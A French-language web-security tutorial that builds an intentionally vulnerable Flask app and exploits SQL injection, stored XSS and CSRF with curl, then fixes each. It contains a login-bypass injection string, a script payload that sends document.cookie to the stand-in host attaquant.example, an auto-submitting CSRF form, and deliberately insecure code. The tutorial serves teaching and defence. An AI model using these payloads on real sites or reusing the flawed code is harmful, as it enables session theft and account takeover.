Aller au contenu principal

CSRF, XSS, SQLi : les trois attaques expliquées avec du code qui casse

Trois failles, une application de démonstration en Flask, et les commandes exactes qui les déclenchent. Pour chacune : le code fautif, la sortie réelle de l'attaque, le correctif, et la contre-vérification qui prouve que la porte est refermée. La suite pratique de l'article sur les cinq failles des projets juniors.

Sécurité ·
Adel LATIBI
Adel LATIBI

Le Briefing Dev - les ressources et actus de la semaine, droit dans ta boîte chaque vendredi gratuitement.

En vous inscrivant, vous acceptez de recevoir notre newsletter. Désinscription possible à tout moment.

Presque tous les contenus de sécurité web s'arrêtent au même endroit. Ils nomment la faille, montrent le code fautif, donnent la version corrigée, et passent à la suivante. On referme la page en sachant qu'il ne faut pas concaténer une requête SQL, sans avoir jamais vu ce qui se passe quand on le fait.

Il y a une différence de nature entre lire une règle et exécuter l'attaque qu'elle empêche. La règle se retient une semaine. L'attaque exécutée une fois laisse une trace durable, parce qu'on a vu la réponse du serveur changer avec un caractère de plus dans un champ de formulaire.

Ce qui manque dans la plupart des cours, c'est le bac à sable : une application volontairement trouée, assez petite pour tenir dans un fichier, contre laquelle on peut tirer sans rien casser chez personne.

Cet article fournit ce bac à sable. Une application Flask d'une soixantaine de lignes, trois failles dedans, et pour chacune la commande qui l'exploite avec la sortie obtenue. Tout le code de cette page a été exécuté sur Python 3.12.3 et Flask 3.1.3, la version stable au moment où ces lignes sont écrites, et les sorties affichées sortent du terminal.

Pourquoi la liste de règles ne suffit pas

Une faille de sécurité a une propriété qui la rend difficile à enseigner : elle ne produit aucun symptôme. Un bug casse l'affichage, fait planter la page, remonte dans les logs. Une faille laisse l'application se comporter exactement comme prévu pour l'utilisateur normal, et n'apparaît que face à une requête que personne n'a pensé à écrire pendant le développement.

Une recette fonctionnelle ne détecte donc rien : les tests reproduisent le parcours prévu, avec des données propres, depuis le compte du développeur. La faille vit dans l'écart entre ce parcours et l'ensemble des requêtes que ton serveur accepte réellement de traiter, et cet écart ne se voit qu'en fabriquant soi-même une requête hostile.

Mon avis, après des années à corriger des projets d'apprenants : un module de sécurité qui n'exécute jamais d'attaque produit des développeurs qui récitent les bonnes réponses en entretien et laissent passer la même faille en mission. L'ordre qui fonctionne est l'inverse de celui des cours habituels. On casse d'abord, on répare ensuite.

Pour les motifs de code fautifs eux-mêmes, l'article sur les cinq failles qu'on retrouve dans presque tous les projets juniors les recense. La page que tu lis en est la démonstration exécutable.

Deux mécanismes, trois attaques

Ces trois noms sont souvent récités comme une liste homogène, alors qu'ils reposent sur deux mécanismes distincts que rien n'oblige à chercher de la même façon dans ton code.

L'injection SQL et le XSS appartiennent à la même famille : du texte fourni par un utilisateur arrive dans un interpréteur qui, lui, ne sait pas d'où vient ce texte. Le moteur SQL reçoit une chaîne et y cherche de la structure. Le moteur HTML du navigateur reçoit une chaîne et y cherche des balises. Dans les deux cas, l'attaquant écrit de la grammaire là où le développeur croyait ne transmettre qu'une valeur. L'OWASP les range d'ailleurs dans la même catégorie, A05:2025 Injection, dans la huitième édition du Top 10 publiée en novembre 2025.

La CSRF fonctionne autrement. Rien n'est injecté nulle part. Le serveur reçoit une requête parfaitement bien formée, accompagnée du bon cookie de session, et la traite comme légitime. Ce qu'il ignore, c'est que cette requête a été déclenchée par une page hébergée ailleurs, à l'insu de l'utilisateur dont le navigateur a joint le cookie automatiquement. L'OWASP la classe en A01:2025 Broken Access Control, aux côtés de l'IDOR, sous la référence CWE-352.

Ce qui arrive Qui l'interprète La confusion SQLi : texte d'un formulaire collé dans la requête le moteur SQL lit de la structure au lieu d'une valeur XSS : texte d'un commentaire recopié dans la page le moteur HTML lit des balises au lieu du texte CSRF : requête bien formée avec le cookie de session ton code serveur lit une intention au lieu d'un simple cookie
Deux attaques par injection dans un interpréteur, une attaque par confusion sur l'émetteur de la requête.

La conséquence pratique : contre l'injection, tu sépares les données de la grammaire au moment précis où la donnée entre dans l'interpréteur. Contre la CSRF, tu ajoutes au message une preuve que ton propre site a émis la requête, puisque le cookie n'en apporte aucune.

L'application de démonstration

Un fichier, une dépendance, une base SQLite en mémoire recréée à chaque requête, deux utilisateurs et trois routes. Installe Flask, colle le code, lance-le.

pip install "flask==3.1.3"
python vulnerable.py   # sert sur http://127.0.0.1:5001
# vulnerable.py - Python 3.12, Flask 3.1.3 - a n'exposer sur aucun reseau
import sqlite3
from flask import Flask, request, session
 
app = Flask(__name__)
app.secret_key = "demo-only"
 
def db():
    con = sqlite3.connect(":memory:")
    con.executescript("""
        CREATE TABLE users (id INTEGER PRIMARY KEY, email TEXT,
                            password TEXT, role TEXT);
        INSERT INTO users VALUES (1, 'alice@exemple.fr', 'motdepasse1', 'user');
        INSERT INTO users VALUES (2, 'admin@exemple.fr', 'S3cr3t!', 'admin');
    """)
    return con
 
COMMENTAIRES = []
SOLDES = {1: 1000, 2: 5000}
 
if __name__ == "__main__":
    app.run(port=5001)

Les trois routes trouées arrivent dans les sections suivantes et se collent entre la définition de SOLDES et le bloc final. Les mots de passe sont en clair ici pour garder l'exemple lisible, ce qui constitue déjà une faille à part entière dans une vraie application.

Injection SQL : passer la connexion sans mot de passe

La route de connexion construit sa requête par interpolation de chaîne. C'est le motif le plus fréquent chez les gens qui découvrent les bases de données, parce que c'est aussi le plus naturel à écrire.

@app.post("/login")
def login():
    email = request.form["email"]
    password = request.form["password"]
    query = ("SELECT id, email, role FROM users "
             f"WHERE email = '{email}' AND password = '{password}'")
    row = db().execute(query).fetchone()
    if row is None:
        return "Identifiants invalides", 401
    session["user_id"] = row[0]
    return f"Connecte : {row[1]} (role {row[2]})"

Trois requêtes suffisent à voir le trou. Les deux premières valident que la route fait son travail, la troisième la contourne.

$ curl -X POST localhost:5001/login -d "email=alice@exemple.fr" -d "password=motdepasse1"
Connecte : alice@exemple.fr (role user)
 
$ curl -X POST localhost:5001/login -d "email=alice@exemple.fr" -d "password=zzz"
Identifiants invalides
 
$ curl -X POST localhost:5001/login \
    --data-urlencode "email=admin@exemple.fr' -- " -d "password=zzz"
Connecte : admin@exemple.fr (role admin)

Session ouverte sur le compte administrateur sans en connaître le mot de passe. L'apostrophe ferme la valeur attendue, et les deux tirets ouvrent un commentaire SQL qui avale le reste de la ligne, vérification du mot de passe comprise. La requête exécutée devient :

SELECT id, email, role FROM users WHERE email = 'admin@exemple.fr' -- ' AND password = 'zzz'

Détail qui coûte du temps : l'espace après les deux tirets n'est pas décoratif. MySQL exige un caractère blanc derrière -- pour reconnaître un commentaire, là où SQLite et PostgreSQL s'en passent. Un test qui échoue faute de cet espace fait conclure à tort que le code est protégé.

Le correctif tient en une ligne. Tu passes la structure d'un côté et les valeurs de l'autre, et le pilote de base de données garantit que ces valeurs ne seront jamais relues comme de la grammaire.

query = "SELECT id, email, role FROM users WHERE email = ? AND password = ?"
row = db().execute(query, (email, password)).fetchone()

Contre-vérification, la même attaque sur la version corrigée : Identifiants invalides en HTTP 401. L'apostrophe et les tirets sont cherchés tels quels dans la colonne email, où ils ne figurent pas. Un ORM comme Doctrine ou SQLAlchemy applique ce mécanisme par défaut, et la faille revient quand tu repasses en SQL brut avec des variables collées dans la chaîne.

XSS : faire exécuter du script chez les autres visiteurs

Deuxième route, un espace de commentaires. Le contenu posté est stocké, puis recollé dans la page à l'affichage.

@app.post("/commentaires")
def poster():
    COMMENTAIRES.append(request.form["texte"])
    return "ok"
 
@app.get("/commentaires")
def lister():
    html = "<h1>Commentaires</h1>"
    for c in COMMENTAIRES:
        html += f"<p>{c}</p>"
    return html

On poste un commentaire qui n'est pas du texte, puis on demande la page.

$ curl -X POST localhost:5001/commentaires \
    --data-urlencode "texte=<script>fetch('https://attaquant.example/?c='+document.cookie)</script>"
 
$ curl localhost:5001/commentaires
<h1>Commentaires</h1><p><script>fetch('https://attaquant.example/?c='+document.cookie)</script></p>

La balise ressort intacte dans la réponse. Ouvre cette page dans un navigateur et le script part vers le domaine de l'attaquant avec les cookies accessibles au JavaScript. C'est la forme stockée du XSS, la plus grave : le commentaire piégé est en base, il se déclenche chez chaque visiteur qui consulte la page, sans que l'attaquant ait à cibler qui que ce soit.

Le correctif consiste à laisser un moteur de template faire l'échappement, plutôt que d'assembler la page à la main. Jinja, livré avec Flask, échappe les variables par défaut.

from flask import render_template_string
 
@app.get("/commentaires")
def lister():
    return render_template_string(
        "<h1>Commentaires</h1>{% for c in items %}<p>{{ c }}</p>{% endfor %}",
        items=COMMENTAIRES,
    )

Avec le même commentaire en base, la réponse devient inoffensive :

<h1>Commentaires</h1><p>&lt;script&gt;fetch(&#39;https://attaquant.example/?c=&#39;+document.cookie)&lt;/script&gt;</p>

Les chevrons sont devenus des entités HTML, donc le navigateur affiche la chaîne au lieu de l'exécuter. Le même mécanisme protège par défaut dans Twig et dans le JSX de React, tant que tu ne forces pas l'insertion de HTML brut avec |raw, innerHTML ou dangerouslySetInnerHTML. Le jour où tu dois afficher du HTML riche saisi par un utilisateur, le nettoyage revient à une bibliothèque dédiée comme DOMPurify, jamais à des remplacements de caractères écrits à la main.

CSRF : déclencher une action avec le cookie de la victime

Troisième route, un virement. Elle vérifie que l'utilisateur est connecté, ce qui paraît suffisant.

@app.post("/virement")
def virement():
    uid = session.get("user_id")
    if uid is None:
        return "Non connecte", 401
    montant = int(request.form["montant"])
    dest = int(request.form["destinataire"])
    SOLDES[uid] -= montant
    SOLDES[dest] = SOLDES.get(dest, 0) + montant
    return f"Vire {montant} vers {dest}. Solde restant : {SOLDES[uid]}"

On se connecte, on garde le cookie, puis on rejoue la requête qu'enverrait un formulaire hébergé sur un autre domaine.

$ curl -c cookies.txt -X POST localhost:5001/login \
    -d "email=alice@exemple.fr" -d "password=motdepasse1"
 
$ grep session cookies.txt
session   eyJ1c2VyX2lkIjoxfQ.aozOrg.XXtabx7OzNfhw4NB-ilca9LQLio
 
$ curl -b cookies.txt -X POST localhost:5001/virement \
    -H "Origin: https://piege.example" \
    -H "Referer: https://piege.example/cadeau.html" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data "montant=200&destinataire=2"
Vire 200 vers 2. Solde restant : 800

La requête annonce qu'elle vient de piege.example, et le virement passe quand même, parce que rien dans le code ne lit cette information. Côté attaquant, la page tient en quelques lignes et se déclenche sans clic.

<body onload="document.forms[0].submit()">
  <form action="https://ta-banque.example/virement" method="POST">
    <input type="hidden" name="montant" value="200">
    <input type="hidden" name="destinataire" value="2">
  </form>
</body>

Un point mérite d'être regardé de près, parce qu'il est à l'origine de beaucoup de fausses certitudes. Voici l'en-tête que Flask 3.1.3 renvoie à la connexion, tel quel :

Set-Cookie: session=eyJ1c2VyX2lkIjoxfQ...; HttpOnly; Path=/

Aucun attribut SameSite. L'idée répandue selon laquelle les navigateurs auraient réglé la CSRF mérite deux nuances. Chrome, Edge et Opera appliquent bien Lax quand le serveur ne dit rien, mais Firefox ne le fait toujours pas : la tentative de 2021 a été annulée pour cause de casse trop importante sur le web, et un cookie sans attribut y reste traité comme None. Et ce Lax par défaut est appliqué dans une version assouplie qui laisse passer les POST inter-sites pendant les deux premières minutes de vie du cookie. Dans les deux cas, la protection dépend du navigateur de la victime.

La défense principale recommandée par l'OWASP pour une application à session reste le jeton synchroniseur : une valeur aléatoire générée côté serveur, rangée dans la session, réémise dans chaque formulaire, et comparée à la réception. La vérification de l'origine et l'attribut SameSite viennent en couches supplémentaires.

import hmac, secrets
from urllib.parse import urlparse
from flask import abort
 
app.config.update(SESSION_COOKIE_HTTPONLY=True, SESSION_COOKIE_SAMESITE="Lax")
 
# a la connexion, apres avoir valide les identifiants
session["csrf"] = secrets.token_urlsafe(32)
 
@app.post("/virement")
def virement():
    uid = session.get("user_id")
    if uid is None:
        return "Non connecte", 401
    origine = request.headers.get("Origin") or request.headers.get("Referer")
    if origine is None or urlparse(origine).netloc != request.host:
        abort(403)
    attendu = session.get("csrf", "")
    if not attendu or not hmac.compare_digest(request.form.get("csrf", ""), attendu):
        abort(403)
    ...

Sur la version corrigée, la requête sans jeton, celle venue d'une origine étrangère et celle portant un faux jeton renvoient un HTTP 403. La comparaison passe par hmac.compare_digest plutôt que par ==, pour que le temps de réponse ne dépende pas du nombre de caractères devinés. En production tu ne réécris pas ce mécanisme : l'extension Flask-WTF fournit CSRFProtect, Symfony et Django ont l'équivalent intégré. Le code ci-dessus sert à comprendre ce que ces outils font pour toi, pas à les remplacer.

L'en-tête Sec-Fetch-Site apporte un signal supplémentaire fiable pour les navigateurs récents, puisque les en-têtes préfixés Sec- ne peuvent pas être modifiés par le JavaScript d'une page. Un client en ligne de commande se contente de ne pas les envoyer, ce qui en fait une couche de plus et pas une protection autonome. Si la mécanique des en-têtes HTTP reste floue, l'article sur ce qui se passe entre le navigateur et le serveur remonte l'assemblage.

Les pièges qui reviennent

Ces erreurs de raisonnement se retrouvent bien au-delà des trois exemples ci-dessus.

Filtrer à l'entrée plutôt qu'échapper à la sortie. Retirer les balises à l'enregistrement semble logique, sauf que la même donnée finira peut-être dans un e-mail, un PDF ou une réponse JSON, où les règles d'échappement diffèrent. La neutralisation se fait au point de sortie, pour l'interpréteur qui va recevoir la donnée.

Croire qu'une requête paramétrée couvre tout le SQL. Les paramètres remplacent des valeurs, jamais des identifiants. Un nom de table ou une colonne de tri qui vient de l'URL ne peut pas être passé en paramètre, et doit être validé contre une liste blanche que tu écris toi-même.

Compter sur SameSite comme unique défense CSRF. L'attribut dépend du navigateur, ne couvre pas les attaques venues d'un sous-domaine partagé, et un XSS sur ton propre site le contourne entièrement puisque la requête part alors de la bonne origine.

Tester uniquement depuis son propre compte. Deux comptes ouverts dans deux navigateurs révèlent en quelques minutes des défauts de contrôle d'accès qu'aucun test écrit sur le parcours nominal ne fera apparaître.

Confondre échappement HTML et échappement JavaScript. Une valeur insérée dans un attribut onclick ou au milieu d'un bloc de script obéit à d'autres règles que du texte placé entre deux balises, et l'échappement par défaut du moteur de template ne suffit plus dans ce contexte.

Une fois ces trois attaques exécutées, le réflexe utile tient dans une question posée chaque fois qu'une donnée franchit une frontière : qui va la relire, et qu'est-ce que ce lecteur considère comme du code. Elle couvre aussi les injections de commandes système et l'injection de templates, qui reposent sur le même schéma, et fait partie de ce qu'on travaille dans les formations backend LaPolaris, et la formation API REST avec Python et FastAPI traite ces points sur une API réelle plutôt que sur un exemple jouet.

Reste une question que cet article ne tranche pas : jusqu'où pousser sur un projet personnel qui ne manipule aucune donnée réelle. Pour ce qui sera partagé avec un recruteur ou de vrais utilisateurs, les conséquences d'une exploitation sont détaillées dans l'article sur les risques d'une application non sécurisée.

Questions fréquentes

Est-ce légal de faire tourner ces attaques chez moi ?

Oui, sur ta propre machine et contre ton propre code. Ce qui est interdit, c'est de viser un système appartenant à quelqu'un d'autre sans autorisation écrite, même pour un test qui se veut inoffensif. Pour des cibles plus riches, des plateformes légales existent : les laboratoires de PortSwigger, ou les applications volontairement vulnérables publiées par l'OWASP.

Mon framework me protège-t-il automatiquement des trois ?

Partiellement, et jamais de la même façon pour les trois. L'échappement HTML est actif par défaut dans Jinja, Twig et JSX, et les requêtes paramétrées le sont dès que tu passes par un ORM. La protection CSRF demande souvent une activation explicite : Django la fournit par un middleware activé d'origine, Symfony la génère dans ses formulaires, Flask ne l'a pas tant que tu n'ajoutes pas Flask-WTF. Vérifie ce point dans la documentation de ton framework plutôt que de le supposer.

Une API REST sans cookie est-elle exposée à la CSRF ?

Si l'authentification repose uniquement sur un en-tête Authorization que ton code frontend ajoute lui-même, le risque disparaît en grande partie, puisque le navigateur ne joint pas cet en-tête tout seul sur une requête déclenchée depuis un autre site. Le risque revient dès qu'un jeton est rangé dans un cookie envoyé automatiquement. Stocker un jeton dans le stockage local du navigateur déplace le problème vers le XSS au lieu de le supprimer.

HttpOnly suffit-il à empêcher le vol de session par XSS ?

L'attribut empêche le JavaScript de lire le cookie, ce qui bloque son exfiltration directe. Le script injecté reste malgré tout exécuté dans la page, avec la session de la victime, et peut déclencher des requêtes authentifiées vers ton application sans jamais avoir besoin de lire le cookie. HttpOnly limite les dégâts d'un XSS, il ne remplace pas l'échappement.

Comment tester ces failles sur un projet que j'ai déjà écrit ?

Commence à la main, formulaire par formulaire, avec une apostrophe dans les champs texte et une balise de script dans les zones de commentaire. Regarde ensuite l'en-tête Set-Cookie de ta session pour vérifier la présence de HttpOnly et de SameSite. Un scanner comme OWASP ZAP automatise le balayage ensuite, mais il produit du bruit et ne remplace pas la lecture du code.

Ces trois attaques sont-elles encore d'actualité en 2026 ?

Les trois figurent dans le Top 10 de l'OWASP publié en novembre 2025 : le XSS et l'injection SQL dans la catégorie A05:2025 Injection, la CSRF parmi les faiblesses rattachées à A01:2025 Broken Access Control. Cette dernière catégorie regroupe le plus grand nombre d'occurrences dans les données collectées par la fondation. Les frameworks ont réduit la fréquence des motifs les plus naïfs, sans faire disparaître les failles.
Crédits images : rawpixel.com sur Magnific Tous les crédits

Vous êtes expert ?

Partagez votre expertise sur notre blog

Tutoriel, retour d'expérience, analyse - publiez un article invité et gagnez en visibilité.

Écrire pour nous